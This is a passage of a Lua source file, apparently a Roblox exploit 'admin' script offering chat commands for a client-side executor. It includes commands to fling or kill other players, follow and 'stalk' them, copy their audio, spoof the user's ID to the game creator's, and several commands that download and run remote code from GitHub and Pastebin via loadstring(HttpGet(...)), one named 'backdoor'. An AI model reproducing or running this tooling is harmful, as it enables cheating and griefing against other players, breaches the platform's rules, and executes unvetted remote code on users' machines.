CFrame.new(0, 0, 0) *
2304
CFrame.Angles(r(y*100)+math.random(), circ, r(y*100)+math.random())
2305
local offset =
2306
CFrame.new(0, int + math.random()*4, 0) *
2307
CFrame.Angles(r(x*100), 0, 0)
2308
editGrip(tool, cframe, offset)
2309
end))
2310
elseif mode == "tor" then
2311
local s = {}
2312
local x, y = i*1, i*1+math.pi / 2
2313
local random = math.random()
2314
lib.connect("tooldance", RunService.Heartbeat:Connect(function()
2315
s.x = math.sin(x)
2316
s.y = math.sin(y)
2317
x, y = x + (int/75), y+0.1
2318
local cframe =
2319
center *
2320
CFrame.new(1.5, 2, 0) *
2321
CFrame.Angles(r(-90-25), 0, 0)
2322
local offset =
2323
CFrame.new(0, s.x*3, -int+math.sin(y/5)*-int) *
2324
CFrame.Angles(r(int), s.x, -x)
2325
editGrip(tool, cframe, offset)
2326
end))
2327
end
2328
else
2329
table.remove(tools, i)
2330
end
2331
end
2332
end
2333
end)
2334
2335
cmd.add({"tooldance", "td"}, {"tooldance <mode> <size>", "Make your tools dance\nModes: tor/sph/inf/rng/whl/wht/voi"}, function(mode, size)
2336
local size = tonumber(size) or 5
2337
lib.disconnect("tooldance")
2338
local backpack = localPlayer:FindFirstChildWhichIsA("Backpack")
2339
local primary = character:FindFirstChild("HumanoidRootPart")
2340
if backpack and primary then
2341
local i, tools = 0, getAllTools()
2342
for _, tool in pairs(tools) do
2343
if tool:IsA("Tool") and tool:FindFirstChild("Handle") then
2344
i=i+1
2345
tool.Parent = character
2346
local n = i
2347
local grip = character:FindFirstChild("RightGrip", true)
2348
local arm = grip.Parent
2349
2350
local function editGrip(cf)
2351
tool.Parent = backpack
2352
tool.Grip = cf
2353
tool.Parent = character
2354
2355
for i, v in pairs(tool:GetDescendants()) do
2356
if v:IsA("Sound") and v.Name:find("sheath") then
2357
v:Destroy()
2358
end
2359
end
2360
end
2361
tool.Handle.Massless = true
2362
2363
if mode == "tor" then
2364
local x, y = n, n+math.pi/2
2365
lib.connect("tooldance", RunService.RenderStepped:Connect(function()
2366
x,y = x+(size/75),y+0.1
2367
local sx,sy = math.sin(x),math.sin(y)
2368
editGrip(
2369
CFrame.new(
2370
Vector3.new(0, math.sin(x * 0.5), size + 3 + math.sin(y / 5) * size)
2371
) *
2372
CFrame.Angles(
2373
math.rad(size),
2374
math.sin(x),
2375
-x
2376
)
2377
)
2378
end))
2379
elseif mode == "sph" then
2380
local x, y = n, n+math.pi/2
2381
lib.connect("tooldance", RunService.RenderStepped:Connect(function()
2382
x,y = x+.1,y+.1
2383
local sx,sy = math.sin(x),math.sin(y)
2384
editGrip(
2385
CFrame.new(
2386
Vector3.new(0, size, 0)
2387
) *
2388
CFrame.Angles(
2389
math.deg(x/150),
2390
x + rad(90),
2391
0
2392
)
2393
)
2394
end))
2395
elseif mode == "inf" then
2396
local x, y = n, n+math.pi/2
2397
lib.connect("tooldance", RunService.RenderStepped:Connect(function()
2398
x,y = x+.1,y+.1
2399
local sx,sy = math.sin(x),math.sin(y)
2400
editGrip(
2401
CFrame.new(
2402
Vector3.new(0, size, 0)
2403
) *
2404
CFrame.Angles(
2405
x,
2406
x + rad(90),
2407
0
2408
)
2409
)
2410
end))
2411
elseif mode == "wht" then
2412
local x, y = n, n+math.pi/2
2413
lib.connect("tooldance", RunService.RenderStepped:Connect(function()
2414
x,y = x+.1,y+.1
2415
local sx,sy = math.sin(x),math.sin(y)
2416
editGrip(
2417
CFrame.new(
2418
Vector3.new(0, size, 0)
2419
) *
2420
CFrame.Angles(
2421
(y+math.sin(x)*10)/10,
2422
x + rad(90),
2423
0
2424
)
2425
)
2426
end))
2427
elseif mode == "rng" then
2428
local x, y = n, n+math.pi/2
2429
lib.connect("tooldance", RunService.RenderStepped:Connect(function()
2430
x,y = x+0.1,y+0.1
2431
local sx,sy = math.sin(x),math.sin(y)
2432
editGrip(
2433
CFrame.new(
2434
0, 0, size
2435
) *
2436
CFrame.Angles(
2437
0,
2438
x,
2439
0
2440
)
2441
)
2442
end))
2443
elseif mode == "whl" then
2444
local x, y = n, n+math.pi/2
2445
lib.connect("tooldance", RunService.RenderStepped:Connect(function()
2446
x,y = x+0.1,y+0.1
2447
local sx,sy = math.sin(x),math.sin(y)
2448
editGrip(
2449
CFrame.new(
2450
Vector3.new(0, 0, size)
2451
) *
2452
CFrame.Angles(
2453
x,
2454
0,
2455
0
2456
)
2457
)
2458
end))
2459
elseif mode == "voi" then
2460
local x, y = n, n+math.pi/2
2461
lib.connect("tooldance", RunService.RenderStepped:Connect(function()
2462
x,y = x+0.1,y+0.1
2463
local sx,sy = math.sin(x),math.sin(y)
2464
editGrip(
2465
CFrame.new(
2466
Vector3.new(size, 0, 0)
2467
) *
2468
CFrame.Angles(
2469
0,
2470
.6 + sy/3,
2471
(n) + sx + x
2472
)
2473
)
2474
end))
2475
end
2476
end
2477
end
2478
end
2479
end)
2480
cmd.add({"nodance", "untooldance"}, {"nodance", "Stop making tools dance"}, function()
2481
lib.disconnect("tooldance")
2482
end)
2483
2484
cmd.add({"toolvis", "audiovis"}, {"toolvis <size>", "Turn your tools into an audio visualizer"}, function(size)
2485
lib.disconnect("tooldance")
2486
local backpack = localPlayer:FindFirstChildWhichIsA("Backpack")
2487
local primary = character:FindFirstChild("HumanoidRootPart")
2488
local hum = character:FindFirstChild("Humanoid")
2489
local sound
2490
for i, v in pairs(character:GetDescendants()) do
2491
if v:IsA("Sound") and v.Playing then
2492
sound = v
2493
end
2494
end
2495
if backpack and primary and sound then
2496
local tools = getAllTools()
2497
local t = 0
2498
for i, tool in pairs(tools) do
2499
if tool.Parent == character and tool:IsA("BackpackItem") and tool:FindFirstChildWhichIsA("BasePart") and tool.Parent == character then
2500
local grip = character:FindFirstChild("RightGrip", true)
2501
local oldParent = grip.Parent
2502
lib.connect("tooldance", RunService.RenderStepped:Connect(function()
2503
if not sound then lib.disconnect("tooldance") end
2504
tool.Parent = character
2505
grip.Parent = oldParent
2506
end))
2507
end
2508
end
2509
wait()
2510
for i, tool in pairs(tools) do
2511
if tool.Parent == backpack and tool:IsA("BackpackItem") and tool:FindFirstChildWhichIsA("BasePart") then
2512
t = t + 1
2513
tool.Parent = character
2514
local n = i
2515
local grip = character:FindFirstChild("RightGrip", true)
2516
local arm = grip.Parent
2517
2518
local function editGrip(cf)
2519
tool.Parent = backpack
2520
tool.Grip = tool.Grip:lerp(cf, 0.2)
2521
tool.Parent = character
2522
for i, v in pairs(tool:GetDescendants()) do
2523
if v:IsA("Sound") then
2524
v.Parent = nil
2525
end
2526
end
2527
end
2528
tool.Handle.Massless = true
2529
2530
local x,y,z,a = n,n+math.pi/2,n,0
2531
lib.connect("tooldance", RunService.Heartbeat:Connect(function()
2532
if not sound then lib.disconnect("tooldance") end
2533
2534
local mt, loudness = sound.PlaybackLoudness/100, sound.PlaybackLoudness
2535
local sx, sy, sz, sa = math.sin(x), math.sin(y), math.sin(z), math.sin(a)
2536
x,y,z,a = x + 0.22 + mt / 100, y + sx + mt, z + sx/10, a + mt/100 + math.sin(x-n)/100
2537
editGrip(
2538
CFrame.new(
2539
Vector3.new(
2540
0,
2541
2 + ((sx/2) * (mt^3/15))/3 - ((sx+0.5)/1.5 * ((loudness/10)^2/400)),
2542
tonumber(size) or 7
2543
)
2544
) *
2545
CFrame.Angles(
2546
math.rad((sz+1)/2)*5,
2547
((math.pi*2)*(n/t)) - (a),
2548
math.rad(sx)*5
2549
)
2550
)
2551
end))
2552
end
2553
end
2554
end
2555
end)
2556
2557
cmd.add({"toolspin"}, {"toolspin [height] [amount]", "Make your tools spin on your head"}, function(h, amt)
2558
if not amt then amt = 1000 end
2559
local head = character:FindFirstChild("Head")
2560
if not head then return end
2561
for i, tool in pairs(localPlayer.Backpack:GetChildren()) do
2562
if tool:IsA("Tool") and tool:FindFirstChild("Handle") then
2563
if i >= (tonumber(amt) or 1000) then break end
2564
if tool:FindFirstChildWhichIsA("LocalScript") then
2565
tool:FindFirstChildWhichIsA("LocalScript").Disabled = true
2566
end
2567
tool.Parent = character
2568
end
2569
end
2570
wait(0.5)
2571
for _, tool in pairs(character:GetChildren()) do
2572
if tool:IsA("Tool") then
2573
wrap(function()
2574
tool:WaitForChild("Handle")
2575
for i, part in pairs(tool:GetDescendants()) do
2576
if part:IsA("BasePart") then
2577
part:BreakJoints()
2578
2579
local align = Instance.new("AlignPosition")
2580
local a0, a1 = Instance.new("Attachment"), Instance.new("Attachment")
2581
align.Attachment0, align.Attachment1 = a0, a1
2582
align.RigidityEnabled = true
2583
a1.Position = Vector3.new(0, tonumber(h) or 0, 0)
2584
lock(align, part); lock(a0, part); lock(a1, head);
2585
2586
local angular = Instance.new("BodyAngularVelocity")
2587
angular.AngularVelocity = Vector3.new(0, math.random(100, 160)/16, 0)
2588
angular.MaxTorque = Vector3.new(0, 400000, 0)
2589
lock(angular, part);
2590
2591
spawn(function()
2592
repeat wait() until tool.Parent ~= character
2593
angular:Destroy()
2594
align:Destroy()
2595
end)
2596
end
2597
end
2598
end)
2599
end
2600
end
2601
end)
2602
2603
cmd.add({"toolorbit"}, {"toolorbit [height] [distance] [amount]", "Make your tools orbit around your head"}, function(h, d, amt)
2604
if not amt then amt = 1000 end
2605
local head = character:FindFirstChild("Head")
2606
if not head then return end
2607
for i, tool in pairs(localPlayer.Backpack:GetChildren()) do
2608
if tool:IsA("Tool") and tool:FindFirstChild("Handle") then
2609
if i >= (tonumber(amt) or 1000) then break end
2610
if tool:FindFirstChildWhichIsA("LocalScript") then
2611
tool:FindFirstChildWhichIsA("LocalScript").Disabled = true
2612
end
2613
tool.Parent = character
2614
end
2615
end
2616
wait(0.5)
2617
for _, tool in pairs(character:GetChildren()) do
2618
if tool:IsA("Tool") then
2619
wrap(function()
2620
tool:WaitForChild("Handle")
2621
for i, part in pairs(tool:GetDescendants()) do
2622
if part:IsA("BasePart") then
2623
part:BreakJoints()
2624
2625
local align = Instance.new("AlignPosition")
2626
local a0, a1 = Instance.new("Attachment"), Instance.new("Attachment")
2627
align.Attachment0, align.Attachment1 = a0, a1
2628
align.RigidityEnabled = true
2629
lock(align, part); lock(a0, part); lock(a1, head);
2630
wrap(function()
2631
local rotX, rotY = 0, math.pi/2
2632
local speed = math.random(25, 100)/1000
2633
local n = tonumber(d) or math.random(300, 700)/100
2634
local y = tonumber(h) or math.random(-100, 100)/100/2
2635
rotY, rotX = rotY + n, rotX + n
2636
2637
part.CollisionGroupId = math.random(1000000,9999999)
2638
part.Anchored = false
2639
part.CFrame = head.CFrame * CFrame.new(0, 3, 0)
2640
2641
while part and part.Parent and tool.Parent == character do
2642
rotX, rotY = rotX + speed, rotY + speed
2643
a1.Position = Vector3.new(math.sin(rotX) * n, y, math.sin(rotY) * n)
2644
RunService.RenderStepped:Wait(0)
2645
end
2646
end)
2647
end
2648
end
2649
end)
2650
end
2651
end
2652
end)
2653
2654
cmd.add({"blockhats"}, {"blockhats", "Remove the meshes in your hats"}, function()
2655
for _, hat in pairs(character:GetChildren()) do
2656
if hat:IsA("Accoutrement") and hat:FindFirstChild("Handle") then
2657
local handle = hat.Handle
2658
if handle:FindFirstChildWhichIsA("SpecialMesh") then
2659
handle:FindFirstChildWhichIsA("SpecialMesh"):Destroy()
2660
end
2661
end
2662
end
2663
end)
2664
2665
cmd.add({"blocktools"}, {"blocktools", "Remove the meshes in your tools"}, function()
2666
for _, tool in pairs(character:GetChildren()) do
2667
if tool:IsA("Tool") then
2668
for _, mesh in pairs(tool:GetDescendants()) do
2669
if mesh:IsA("DataModelMesh") then
2670
mesh:Destroy()
2671
end
2672
end
2673
end
2674
end
2675
end)
2676
2677
cmd.add({"nomeshes", "nomesh", "blocks"}, {"nomeshes", "Remove all character meshes"}, function()
2678
for _, mesh in pairs(character:GetDescendants()) do
2679
if mesh:IsA("DataModelMesh") then
2680
mesh:Destroy()
2681
end
2682
end
2683
end)
2684
2685
cmd.add({"nodecals", "nodecal", "notextures"}, {"nodecals", "Remove all character images"}, function()
2686
for _, img in pairs(character:GetDescendants()) do
2687
if img:IsA("Decal") or img:IsA("Texture") then
2688
img:Destroy()
2689
end
2690
end
2691
end)
2692
2693
cmd.add({"godmode"}, {"godmode", "Fling anyone that touches you using angular velocity"}, function()
2694
lib.disconnect("pfling")
2695
local char = player.Character
2696
local hum = char:FindFirstChildWhichIsA("Humanoid")
2697
2698
if char then
2699
local cf = char.HumanoidRootPart.CFrame
2700
local bv = Instance.new("BodyAngularVelocity", char.HumanoidRootPart)
2701
bv.MaxTorque = Vector3.new(math.huge, math.huge, math.huge)
2702
bv.P = math.huge
2703
bv.AngularVelocity = Vector3.new(0, 9e5, 0)
2704
bv.Name = "hum"
2705
lock(bv)
2706
2707
wait()
2708
char.HumanoidRootPart.CFrame = cf
2709
char.HumanoidRootPart.Velocity = Vector3.new(0, 0, 0)
2710
2711
for i,v in pairs(char:GetDescendants()) do
2712
if v:IsA('BasePart') then
2713
v.Massless = true
2714
v.Velocity = Vector3.new(0, 0, 0)
2715
end
2716
end
2717
2718
local c = lib.connect("pfling", game:GetService('RunService').Stepped:Connect(function()
2719
for i,v in pairs(char:GetDescendants()) do
2720
if v:IsA('BasePart') then
2721
v.CanCollide = false
2722
end
2723
end
2724
end))
2725
repeat
2726
wait()
2727
until
2728
character ~= char or not c.Connected
2729
2730
lib.disconnect("pfling")
2731
if lp.Character == char then
2732
char:SetPrimaryPartCFrame(cf)
2733
bv:Destroy()
2734
char.HumanoidRootPart.Velocity = Vector3.new(0,0,0)
2735
char.HumanoidRootPart.RotVelocity = Vector3.new(0,0,0)
2736
end
2737
end
2738
end)
2739
2740
cmd.add({"toolfling"}, {"toolfling", "Fling anyone that touches you using an accessory"}, function()
2741
lib.disconnect("pfling")
2742
local char = player.Character
2743
local hrp = char:FindFirstChild("HumanoidRootPart")
2744
local hum = char:FindFirstChildWhichIsA("Humanoid")
2745
local tors = char:FindFirstChild("Torso") or char:FindFirstChild("UpperTorso")
2746
if char then
2747
local c = lib.connect("pfling", RunService.Stepped:Connect(function()
2748
for i, v in pairs(char:GetDescendants()) do
2749
if v:IsA("BasePart") then
2750
v.CanCollide = false
2751
end
2752
end
2753
end))
2754
tors.Anchored = true
2755
local tool = Instance.new("Tool", localPlayer.Backpack)
2756
local hat = char:FindFirstChildOfClass("Accessory")
2757
local hathandle = hat.Handle
2758
2759
hathandle.Parent = tool
2760
hathandle.Massless = true
2761
tool.GripPos = Vector3.new(0, 9e99, 0)
2762
tool.Parent = localPlayer.Character
2763
2764
repeat wait() until char:FindFirstChildOfClass("Tool") ~= nil
2765
tool.Grip = CFrame.new(Vector3.new(0, 0, 0))
2766
tors.Anchored = false
2767
2768
repeat
2769
hrp.CFrame = hrp.CFrame
2770
wait()
2771
until not c.Connected
2772
2773
hum:UnequipTools()
2774
hathandle.Parent = hat
2775
hathandle.Massless = false
2776
tool:Destroy()
2777
end
2778
end)
2779
2780
cmd.add({"ungodmode", "untoolfling", "ungod"}, {"ungodmode", "Disable permanent fling"}, function()
2781
lib.disconnect("pfling")
2782
end)
2783
2784
--[ PLAYER ]--
2785
cmd.add({"orbit"}, {"orbit <player> <distance>", "Orbit around a player"}, function(p,d)
2786
lib.disconnect("orbit")
2787
local players = argument.getPlayers(p)
2788
local target = players[1]
2789
if not target then return end
2790
2791
local tchar, char = target.Character, character
2792
local thrp = tchar:FindFirstChild("HumanoidRootPart")
2793
local hrp = char:FindFirstChild("HumanoidRootPart")
2794
local dist = tonumber(d) or 4
2795
2796
if tchar and char and thrp and hrp then
2797
local sineX, sineZ = 0, math.pi/2
2798
lib.connect("orbit", RunService.Stepped:Connect(function()
2799
sineX, sineZ = sineX + 0.05, sineZ + 0.05
2800
local sinX, sinZ = math.sin(sineX), math.sin(sineZ)
2801
if thrp.Parent and hrp.Parent then
2802
hrp.Velocity = Vector3.new(0, 0, 0)
2803
hrp.CFrame = CFrame.new(sinX * dist, 0, sinZ * dist) *
2804
(hrp.CFrame - hrp.CFrame.p) +
2805
thrp.CFrame.p
2806
end
2807
end))
2808
end
2809
end)
2810
2811
cmd.add({"uporbit"}, {"uporbit <player> <distance>", "Orbit around a player on the Y axis"}, function(p,d)
2812
lib.disconnect("orbit")
2813
local players = argument.getPlayers(p)
2814
local target = players[1]
2815
if not target then return end
2816
2817
local tchar, char = target.Character, character
2818
local thrp = tchar:FindFirstChild("HumanoidRootPart")
2819
local hrp = char:FindFirstChild("HumanoidRootPart")
2820
local dist = tonumber(d) or 4
2821
2822
if tchar and char and thrp and hrp then
2823
local sineX, sineY = 0, math.pi/2
2824
lib.connect("orbit", RunService.Stepped:Connect(function()
2825
sineX, sineY = sineX + 0.05, sineY + 0.05
2826
local sinX, sinY = math.sin(sineX), math.sin(sineY)
2827
if thrp.Parent and hrp.Parent then
2828
hrp.Velocity = Vector3.new(0, 0, 0)
2829
hrp.CFrame = CFrame.new(sinX * dist, sinY * dist, 0) *
2830
(hrp.CFrame - hrp.CFrame.p) +
2831
thrp.CFrame.p
2832
end
2833
end))
2834
end
2835
end)
2836
2837
cmd.add({"unorbit"}, {"unorbit", "Stop orbiting a player"}, function()
2838
lib.disconnect("orbit")
2839
end)
2840
2841
cmd.add({"fixcam", "fix"}, {"fixcam", "Fix your camera"}, function()
2842
camera.CameraSubject = character:FindFirstChildWhichIsA("Humanoid")
2843
camera.CameraType = camtype
2844
end)
2845
2846
cmd.add({"fekill", "kill"}, {"fekill <player>", "Kill a player using a tool and FE god"}, function(p)
2847
local target = argument.getPlayers(p)[1]
2848
if not target then return end
2849
2850
local char = character
2851
local tchar = target.Character
2852
local hrp = character:FindFirstChild("HumanoidRootPart")
2853
local hrp2 = tchar:FindFirstChild("HumanoidRootPart")
2854
local backpack = localPlayer:FindFirstChildWhichIsA("Backpack")
2855
local hum = character:FindFirstChildWhichIsA("Humanoid")
2856
2857
if hrp and hrp2 and backpack and hum then
2858
hum.Name = "1"
2859
local newHum = hum:Clone()
2860
newHum.Parent = char
2861
newHum.Name = "Humanoid"
2862
2863
wait(0.1)
2864
hum:Destroy()
2865
camera.CameraSubject = char
2866
newHum.DisplayDistanceType = "None"
2867
wait(0.1)
2868
2869
for i, v in pairs(localPlayer.Backpack:GetChildren()) do
2870
v.Parent = char
2871
hrp.CFrame = hrp2.CFrame * CFrame.new(0, 0, 0) * CFrame.new(math.random(-100, 100)/200,math.random(-100, 100)/200,math.random(-100, 100)/200)
2872
RunService.Stepped:Wait(0)
2873
end
2874
2875
local n = 0
2876
repeat
2877
RunService.RenderStepped:Wait(0)
2878
n = n + 1
2879
hrp.CFrame = hrp2.CFrame
2880
until (not hrp or not hrp2 or not hrp.Parent or not hrp2.Parent or tchar:FindFirstChild("RightGrip", true) or n > 250) and n > 2
2881
2882
hrp.CFrame = CFrame.new(999999, workspace.FallenPartsDestroyHeight + 5,999999)
2883
camera.CameraType = Enum.CameraType.Custom
2884
end
2885
end)
2886
2887
cmd.add({"fling"}, {"fling <player>", "Fling the given player"}, function(p)
2888
local players = argument.getPlayers(p)
2889
local char = player.Character
2890
local hum = char:FindFirstChildWhichIsA("Humanoid")
2891
local cf = char.HumanoidRootPart.CFrame
2892
for i, plr in pairs(players) do
2893
if char and plr and plr.Character then
2894
local enemy = plr.Character
2895
local bv = Instance.new("BodyAngularVelocity", char.HumanoidRootPart)
2896
bv.MaxTorque = Vector3.new(math.huge, math.huge, math.huge)
2897
bv.P = math.huge
2898
bv.AngularVelocity = Vector3.new(9e5, 9e5, 0)
2899
bv.Name = "hum"
2900
2901
wait()
2902
char.HumanoidRootPart.CFrame = cf
2903
2904
for i,v in pairs(char:GetDescendants()) do
2905
if v:IsA('BasePart') then
2906
v.Massless = true
2907
end
2908
end
2909
2910
local c = lib.connect("fling", game:GetService('RunService').Stepped:Connect(function()
2911
for i,v in pairs(char:GetDescendants()) do
2912
if v:IsA('BasePart') then
2913
v.CanCollide = false
2914
v.Velocity = Vector3.new(0, 0, 0)
2915
end
2916
end
2917
if char.PrimaryPart and enemy.PrimaryPart then
2918
char.HumanoidRootPart.CFrame = enemy.HumanoidRootPart.CFrame
2919
char.HumanoidRootPart.Velocity = Vector3.new(0, 0, 0)
2920
end
2921
end))
2922
repeat
2923
wait()
2924
until
2925
character ~= char or not enemy or not enemy.Parent or not c.Connected or not enemy.PrimaryPart or enemy.PrimaryPart.Velocity.magnitude > 100
2926
2927
lib.disconnect("fling")
2928
if lp.Character == char then
2929
char:SetPrimaryPartCFrame(cf)
2930
bv:Destroy()
2931
char.HumanoidRootPart.Velocity = Vector3.new(0,0,0)
2932
char.HumanoidRootPart.RotVelocity = Vector3.new(0,0,0)
2933
end
2934
if not c.Connected then
2935
break
2936
end
2937
end
2938
end
2939
end)
2940
cmd.add({"unfling"}, {"unfling", "Stop all attempts to fling"}, function()
2941
lib.disconnect("fling")
2942
end)
2943
2944
cmd.add({"goto", "to", "tp", "teleport"}, {"goto <player/X,Y,Z>", "Teleport to the given player or X,Y,Z coordinates"}, function(p)
2945
local players = argument.getPlayers(p)
2946
local pos = lib.parseText(p, opt.tupleSeparator)
2947
if character then
2948
if pos and #pos == 3 then
2949
local x,y,z = pos[1], pos[2], pos[3]
2950
character:MoveTo(Vector3.new(x, y, z))
2951
elseif players[1] and players[1].Character then
2952
character:MoveTo((players[1].Character:GetPrimaryPartCFrame() * CFrame.new(1, 0, 2)).p)
2953
end
2954
end
2955
end)
2956
2957
cmd.add({"watch", "view"}, {"watch <player>", "Watch the given player"}, function(p)
2958
local players = argument.getPlayers(p)
2959
if players[1] and players[1].Character then
2960
camera.CameraSubject = players[1].Character:FindFirstChildWhichIsA("Humanoid")
2961
end
2962
end)
2963
cmd.add({"unwatch", "unview"}, {"unwatch", "Stop watching a player"}, function()
2964
if character then
2965
camera.CameraSubject = character:FindFirstChildWhichIsA("Humanoid")
2966
end
2967
end)
2968
2969
cmd.add({"hydrogen"}, {"hydrogen", "executes hydrogen the remote spy script lol"}, function()
2970
local owner = "Upbolt"
2971
local branch = "revision"
2972
2973
local function webImport(file)
2974
return loadstring(game:HttpGetAsync(("https://raw.githubusercontent.com/%s/Hydroxide/%s/%s.lua"):format(owner, branch, file)), file .. '.lua')()
2975
end
2976
2977
webImport("init")
2978
webImport("ui/main")
2979
end)
2980
2981
cmd.add({"backdoor"}, {"backdoor", "loads in backdoor.exe"}, function()
2982
local httpService = game:GetService("HttpService");
2983
2984
local invCode = "xJHCqm84cW";
2985
local httpRequest = (syn and syn.request) or http_request or function() end;
2986
2987
local function launchDiscord()
2988
if not httpRequest then warn("Exploit not supported. No HTTP found.") return end
2989
2990
httpRequest({
2991
Url = "http://127.0.0.1:6463/rpc?v=1",
2992
Method = "POST",
2993
2994
Headers = {
2995
['Content-Type'] = 'application/json',
2996
Origin = 'https://discord.com'
2997
},
2998
2999
Body = httpService:JSONEncode({
3000
cmd = 'INVITE_BROWSER',
3001
nonce = httpService:GenerateGUID(false),
3002
args = {code = invCode}
3003
})
3004
})
3005
end;
3006
3007
local NotificationBindable = Instance.new("BindableFunction")
3008
NotificationBindable.OnInvoke = launchDiscord
3009
3010
game:GetService("StarterGui"):SetCore(
3011
"SendNotification",
3012
{
3013
Title = "backdoor.exe",
3014
Duration = 5,
3015
Text = "Loading lastest version!\n\nJoin our Discord for games, scripts and more",
3016
Button1 = "Join Discord!",
3017
Callback = NotificationBindable
3018
}
3019
)
3020
3021
loadstring(game:HttpGet("https://raw.githubusercontent.com/iK4oS/backdoor.exe/v8/src/main.lua"))();
3022
3023
3024
3025
-- k4scripts
3026
-- .------.
3027
-- |4.--. |
3028
-- | :│/: |
3029
-- | :│\: |
3030
-- | '--'4|
3031
-- `------'
3032
end)
3033
3034
cmd.add({"copyaudio", "getaudio"}, {"copyaudio <player>", "Copy all sounds a player is playing to your clipboard -Cyrus"}, function(p)
3035
local players = argument.getPlayers(p)
3036
local audios = ""
3037
for _, player in pairs(players) do
3038
local char = player.Character
3039
if char then
3040
audios = audios .. ("<<[ %s ]>>"):format(player.Name)
3041
for i, v in pairs(char:GetDescendants()) do
3042
if v:IsA("Sound") and v.Playing then
3043
audios = audios .. ("\n[ %s ]: %s"):format(v.Name, v.SoundId)
3044
end
3045
end
3046
end
3047
end
3048
setclipboard(audios)
3049
end)
3050
3051
cmd.add({"saveaudio", "stealaudio", "steal"}, {"saveaudio <player>", "Save all sounds a player is playing to a file -Cyrus"}, function(p)
3052
local players = argument.getPlayers(p)
3053
local audios = ""
3054
for _, player in pairs(players) do
3055
local char = player.Character
3056
if char then
3057
audios = audios .. ("<<[ %s ]>>"):format(player.Name)
3058
for i, v in pairs(char:GetDescendants()) do
3059
if v:IsA("Sound") and v.Playing then
3060
audios = audios .. ("\n[ %s ]: %s"):format(v.Name, v.SoundId)
3061
end
3062
end
3063
end
3064
end
3065
writefile(("Audio-Logs_%c"):format(math.random(1000, 9999)), audios)
3066
end)
3067
3068
cmd.add({"follow", "stalk", "walk"}, {"follow <player>", "Follow a player wherever they go"}, function(p)
3069
lib.disconnect("follow")
3070
local players = argument.getPlayers(p)
3071
local targetPlayer = players[1]
3072
lib.connect("follow", RunService.Stepped:Connect(function()
3073
local target = targetPlayer.Character
3074
if target and character then
3075
local hum = character:FindFirstChildWhichIsA("Humanoid")
3076
if hum then
3077
local targetPart = target:FindFirstChild("Head")
3078
local targetPos = targetPart.Position
3079
hum:MoveTo(targetPos)
3080
end
3081
end
3082
end))
3083
end)
3084
3085
cmd.add({"pathfind"}, {"pathfind <player>", "Follow a player using the pathfinder API wherever they go"}, function(p)
3086
lib.disconnect("follow")
3087
local players = argument.getPlayers(p)
3088
local targetPlayer = players[1]
3089
local debounce = false
3090
lib.connect("follow", RunService.Stepped:Connect(function()
3091
if debounce then return end
3092
debounce = true
3093
local target = targetPlayer.Character
3094
if target and character then
3095
local hum = character:FindFirstChildWhichIsA("Humanoid")
3096
local main = target:FindFirstChild("HumanoidRootPart")
3097
if hum then
3098
local targetPart = target:FindFirstChild("HumanoidRootPart") or target:FindFirstChild("Head")
3099
local targetPos = (targetPart.CFrame * CFrame.new(0, 0, -0.5)).p
3100
local PathService = game:GetService("PathfindingService")
3101
local path = PathService:CreatePath({
3102
AgentRadius = 2,
3103
AgentHeight = 5,
3104
AgentCanJump = true
3105
})
3106
local points = path:ComputeAsync(main.Position, targetPos)
3107
3108
if path.Status then
3109
local waypoints = path:GetWaypoints()
3110
for i, waypoint in pairs(waypoints) do
3111
if i > 2 then break end
3112
if waypoint.Action == Enum.PathWaypointAction.Jump then
3113
hum.Jump = true
3114
end
3115
hum:MoveTo(waypoint.Position)
3116
local distance = 5
3117
repeat
3118
wait()
3119
distance = (waypoint.Position - main.Position).magnitude
3120
until
3121
(targetPos - targetPart.Position).magnitude > 2 or distance < 1
3122
3123
if (targetPos - targetPart.Position).magnitude > 2 then
3124
break
3125
end
3126
end
3127
end
3128
end
3129
end
3130
debounce = false
3131
end))
3132
end)
3133
3134
cmd.add({"unfollow", "unstalk", "unwalk", "unpathfind"}, {"unfollow", "Stop all attempts to follow a player"}, function()
3135
lib.disconnect("follow")
3136
end)
3137
3138
cmd.add({"r6"}, {"r6", "Makes your character support R6 scripts while in R15"}, function()
3139
loadstring(game:HttpGetAsync("https://raw.githubusercontent.com/Gelatekussy/GelatekHub/main/src/lib/Reanimate.lua"))()
3140
end)
3141
3142
cmd.add({"invisible"}, {"invisible", "Gives you an invisible tool"}, function()
3143
loadstring(game:HttpGetAsync("https://pastebin.com/raw/0wE8rKJ1"))()
3144
end)
3145
3146
cmd.add({"cid", "setcreatorid"}, {"cid", "sets the id to the creator's id"}, function()
3147
if game.CreatorType == Enum.CreatorType.User then
3148
game.Players.LocalPlayer.UserId = game.CreatorId
3149
end
3150
if game.CreatorType == Enum.CreatorType.Group then
3151
game.Players.LocalPlayer.UserId = game:GetService("GroupService"):GetGroupInfoAsync(game.CreatorId).Owner.Id
3152
end
3153
end)
3154
3155
--[[ FUNCTIONALITY ]]--
3156
localPlayer.Chatted:Connect(function(str)
3157
lib.parseCommand(str)
3158
end)
3159
3160
--[[ GUI VARIABLES ]]--
3161
local ScreenGui
3162
if not RunService:IsStudio() then
3163
ScreenGui = game:GetObjects("rbxassetid://12095186225")[1]
3164
else
3165
repeat wait() until player:FindFirstChild("AdminUI", true)
3166
ScreenGui = player:FindFirstChild("AdminUI", true)
3167
end
3168
3169
local description = ScreenGui.Description
3170
local cmdBar = ScreenGui.CmdBar
3171
local centerBar = cmdBar.CenterBar
3172
local cmdInput = centerBar.Input
3173
local cmdAutofill = cmdBar.Autofill
3174
local cmdExample = cmdAutofill.Cmd
3175
local leftFill = cmdBar.LeftFill
3176
local rightFill = cmdBar.RightFill
3177
local chatLogsFrame = ScreenGui.ChatLogs
3178
local chatLogs = chatLogsFrame.Container.Logs
3179
local chatExample = chatLogs.TextLabel
3180
local commandsFrame = ScreenGui.Commands
3181
local commandsFilter = commandsFrame.Container.Filter
3182
local commandsList = commandsFrame.Container.List
3183
local commandExample = commandsList.TextLabel
3184
local resizeFrame = ScreenGui.Resizeable
3185
local resizeXY = {
3186
Top = {Vector2.new(0, -1), Vector2.new(0, -1), "rbxassetid://2911850935"},
3187
Bottom = {Vector2.new(0, 1), Vector2.new(0, 0), "rbxassetid://2911850935"},
3188
Left = {Vector2.new(-1, 0), Vector2.new(1, 0), "rbxassetid://2911851464"},
3189
Right = {Vector2.new(1, 0), Vector2.new(0, 0), "rbxassetid://2911851464"},
3190
3191
TopLeft = {Vector2.new(-1, -1), Vector2.new(1, -1), "rbxassetid://2911852219"},
3192
TopRight = {Vector2.new(1, -1), Vector2.new(0, -1), "rbxassetid://2911851859"},
3193
BottomLeft = {Vector2.new(-1, 1), Vector2.new(1, 0), "rbxassetid://2911851859"},
3194
